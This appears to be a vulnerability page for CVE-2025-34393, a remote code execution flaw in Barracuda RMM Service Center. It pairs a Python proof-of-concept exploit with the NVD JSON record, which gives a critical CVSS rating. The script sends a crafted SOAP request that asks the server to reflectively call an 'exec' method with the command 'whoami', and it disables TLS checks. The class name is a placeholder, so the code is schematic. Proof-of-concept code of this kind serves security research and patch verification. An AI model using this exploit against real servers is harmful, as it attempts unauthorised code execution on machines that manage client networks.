CVE-2025-34393

#!/usr/bin/env python3 """ CVE-2025-34393 PoC - Barracuda RMM Service Center Insecure Reflection RCE Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import xml.etree.ElementTree as ET from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TARGET_URL = "https://TARGET_IP:PORT/servicecenter" def create_malicious_soap_request(): """ Create a malicious SOAP request targeting the vulnerable WSDL processing This PoC demonstrates the concept of exploiting insecure reflection """ # SOAP envelope with malicious WSDL service reference soap_envelope = """<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <soap:Header/> <soap:Body> <ns2:ProcessRequest xmlns:ns2="http://servicecenter.barracuda.com/"> <ServiceName>malicious.service.Class</ServiceName> <MethodName>exec</MethodName> <Parameters> <Parameter type="java.lang.String">whoami</Parameter> </Parameters> </ns2:ProcessRequest> </soap:Body> </soap:Envelope>""" return soap_envelope def exploit_insecure_reflection(target_url): """ Exploit the insecure reflection vulnerability """ headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '""' } payload = create_malicious_soap_request() try: response = requests.post( target_url, data=payload, headers=headers, verify=False, timeout=30 ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def main(): print("[*] CVE-2025-34393 Barracuda RMM Service Center RCE PoC") print(f"[*] Target: {TARGET_URL}") print("[*] Attempting to exploit insecure reflection vulnerability...") status, response = exploit_insecure_reflection(TARGET_URL) if status: print(f"[+] Response Status: {status}") print(f"[+] Response: {response[:500]}") else: print(f"[-] Request failed: {response}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-34393", "sourceIdentifier": "[email protected]", "published": "2025-12-10T16:16:24.340", "lastModified": "2025-12-23T14:39:58.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Barracuda Service Center, as implemented in the RMM solution, in versions prior to 2025.1.1, does not correctly verify the name of an attacker-controlled WSDL service, leading to insecure reflection. This can result in remote code execution through either invocation of arbitrary methods or deserialization of untrusted types."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-470"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:barracuda:rmm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.1.1", "matchCriteriaId": "C6E07E55-A5C9-4B12-8CC2-891D3F8F087D"}]}]}], "references": [{"url": "https://download.mw-rmm.barracudamsp.com/PDF/2025.1.1/RN_BRMM_2025.1.1_EN.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.barracuda.com/products/msp/network-protection/rmm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/barracuda-rmm-service-center-insecure-reflection-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}